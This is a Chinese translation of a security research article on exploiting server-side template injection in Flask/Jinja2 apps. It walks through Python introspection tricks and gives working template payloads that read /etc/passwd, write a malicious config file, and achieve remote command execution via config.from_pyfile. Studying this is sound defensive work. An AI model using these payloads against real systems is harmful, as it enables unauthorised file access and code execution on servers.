探索Flask/Jinja2中的服务端模版注入(二)

wh8335368 8年前

来自: http://www.freebuf.com/articles/web/98928.html

在探索Flask/Jinja2中的服务端模版注入Part1中,我最初的目标是找到文件的路径或者说是进行文件系统访问。之前还无法达成这些目标,但是感谢朋友们在之前文章中的反馈,现在我已经能够实现这些目标了。本文就来讲讲进一步研究获得的结果。

神助攻

对于之前的文章,感谢 Nicolas G 对我们的帮助

如果你有玩玩这个payload,你很快就会清楚这是行不通的。这里有有几个比较合理的解释,之后我会简短给大家说说。关键是这个payload使用了多个之前我们忽略了但非常重要的内省实用程序: __mro__ 以及 __subclasses__ 属性

免喷申明:以下的解释可能会存在些许生涩,我实在没兴趣把自己搞的非常精通啥的,就这水平了。大多数时候我在解决框架/语言中存在的模糊不清的部分,我都会尝试看是否能够带给我预期的效果,但我一直不知道会产生这种效果的缘由。我依旧在学习这些属性背后隐藏着的“为什么”,但我至少想将我知道的分享给大家!

__mro__ 中的MRO(Method Resolution Order)代表着解析方法调用的顺序,可以看看 Python文档 中的介绍。它是每个对象元类的一个隐藏属性,当进行内省时会忽略 dir 输出(see Objects/object.c at line 1812 )

__subclasses__ 属性在这里作为一种方法被 定义 为,对每个new-style class“为它的直接子类维持一个弱引用列表”,之后“返回一个包含所有存活引用的列表”。

简单来说, __mro__ 允许我们在当前Python环境中追溯对象继承树,之后 __subclasses__ 又让我们回到原点。从一个new-style object开始,例如 str 类型。使用 __mro__ 我们可以从继承树爬到根对象类,之后在Python环境中使用 __subclasses__ 爬向每一个new-style object。ok,这让我们能够访问加载到当前Python环境下的所有类,那么我们该怎么利用这一新发现愉快的玩耍呢?

利用

这里我们还要考虑一些东西,Python环境可能会包括:

  • 源于Flask应用的东西
  • 目标应用自定义的一些东西

因为我们是想获得一个通用exploit,所以测试环境越接近原生Flask越好。越向应用中添加库和第三方模块,那我们能获得通用exploit的概率就越低。我们之前进行概念验证时使用的那个应用就是一个非常不错的选择。

为了挖掘出一枚exploit向量,要求不修改目标源代码。在前一篇文章中,为了进行内省,我们向存在漏洞的应用中添加了一些函数,但现在这些统统都不需要了。

首先我们要做的第一件事便是选择一个new-style object用于访问 object 基类。可以简单的使用 '' ,一个空字符串, str 对象类型。之后我们可以使用 __mro__ 属性访问对象的继承类。将 {{ ''.__class__.__mro__ }} 作为payload注入到存在SSTI漏洞的页面中

我们可以看到之前讨论过的元组现在正向我们反馈,由于我们想追溯根对象类,我们利用第二条索引选择 object 类类型。目前我们正位于根对象,可以利用 __subclasses__ 属性dump所有存在于应用程序中的类,将 {{ ''.__class__.__mro__[2].__subclasses__() }} 注入到SSTI漏洞中。

如你所看到的,这里面的信息太多了。在我使用的这个目标App中,这里有572个可访问类。这事情变得有些棘手了,这也是为什么上面推特中提到的payload行不通的原因了。记住,并不是每个应用的Python环境都差不多。我们的目标是找到一个能够让我们访问文件或者操作系统的东西。可能不那么容易在一个应用中找到类似 subprocess.Popen 模块进而获得一枚exploit,例如受前文推ter上附有的那个payload影响的应用。但是从我的发现来看,没有什么能够比得上原生Flask。幸好,在原生Flask下我们也能够实现类似的效果。

如果你梳理之前payload的输出信息,你应该可以找到 <type 'file'> 类,它是文件系统访问的关键。虽然 open 是创建文件对象的内置函数, file 类也是有能力列举文件对象的,如果我们能够列举一个文件对象,之后我们可以使用类似 read 方法来提取内容。为了证实这一点,找到 file 类的索引并注入 {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} ,其中的 40 是环境中 <type 'file'> 类的索引。

主观上我们已经证明了在Flask/Jinja2框架下利用SSTI是能够读取文件的,我们废了这么多时间难道只是这样?今天我的目标是远程代码/命令执行!

在前一篇文章中我引用了 config 对象的几个方法将对象加载到Flask配置环境中。其中一种方法便是 from_pyfile ,以下为 from_pyfile 方法的代码( flask/config.py )

  def from_pyfile(self, filename, silent=False):          """Updates the values in the config from a Python file.  This function          behaves as if the file was imported as module with the          :meth:`from_object` function.            :param filename: the filename of the config.  This can either be an                           absolute filename or a filename relative to the                           root path.          :param silent: set to `True` if you want silent failure for missing                         files.            .. versionadded:: 0.7             `silent` parameter.          """          filename = os.path.join(self.root_path, filename)          d = imp.new_module('config')          d.__file__ = filename          try:              with open(filename) as config_file:                  exec(compile(config_file.read(), filename, 'exec'), d.__dict__)          except IOError as e:              if silent and e.errno in (errno.ENOENT, errno.EISDIR):                  return False              e.strerror = 'Unable to load configuration file (%s)' % e.strerror              raise          self.from_object(d)          return True

这里有几个非常有趣的东西,最明显的是使用一个文件路径作为 compile 函数的参数。如果我们能够向操作系统写入文件,那么就可以大显身手咯。正如我们刚才讨论的,我们能够做到!利用前面提及的 file 类不仅可以读取文件还可以向目标服务器写入文件。之后我们通过SSTI漏洞调用 from_pyfile 方法编译文件并执行其中内容,这是一个2阶段攻击。首先向SSTI漏洞注入类似 {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('<malicious code here>'') }} 。之后通过注入 {{ config.from_pyfile('/tmp/owned.cfg') }} 触发编译进程,之后就会执行编译后的代码。远程代码执行完成!

接下来将战果扩大,虽然代码在运行就非常棒了,但每个代码块都必须经过一个多步骤进程。让我们利用 from_pyfile 方法为其预设用途,并向 config 对象添加一些有用的玩意。向SSTI漏洞注入 {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} 。这将向远程服务器写入一个文件,当编译完成为 subprocess 模块引入 check_output 方法,并将其设置指向变量 RUNCMD 。如果你回想一下上一篇文章,你会将其添加到Flask config 对象,用大写字符将其看作为一个属性。

注入 {{ config.from_pyfile('/tmp/owned.cfg') }} ,向 config 对象添加一个新项。注意以下两张图片的不同之处!

现在我们可以调用新的配置项在远程服务器上运行命令了,通过向SSTI漏洞注入 {{ config['RUNCMD']('/usr/bin/id',shell=True) }} 即可证明!

远程命令执行完成!

总结

我们不必再去纠结如何逃避Flask/Jinja2框架的模版沙盒,现在就可以得出结论:在Flask/Jinja2环境下SSTI漏洞带来的影响实实在在的存在!

*参考来源: nvisium ,鸢尾编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)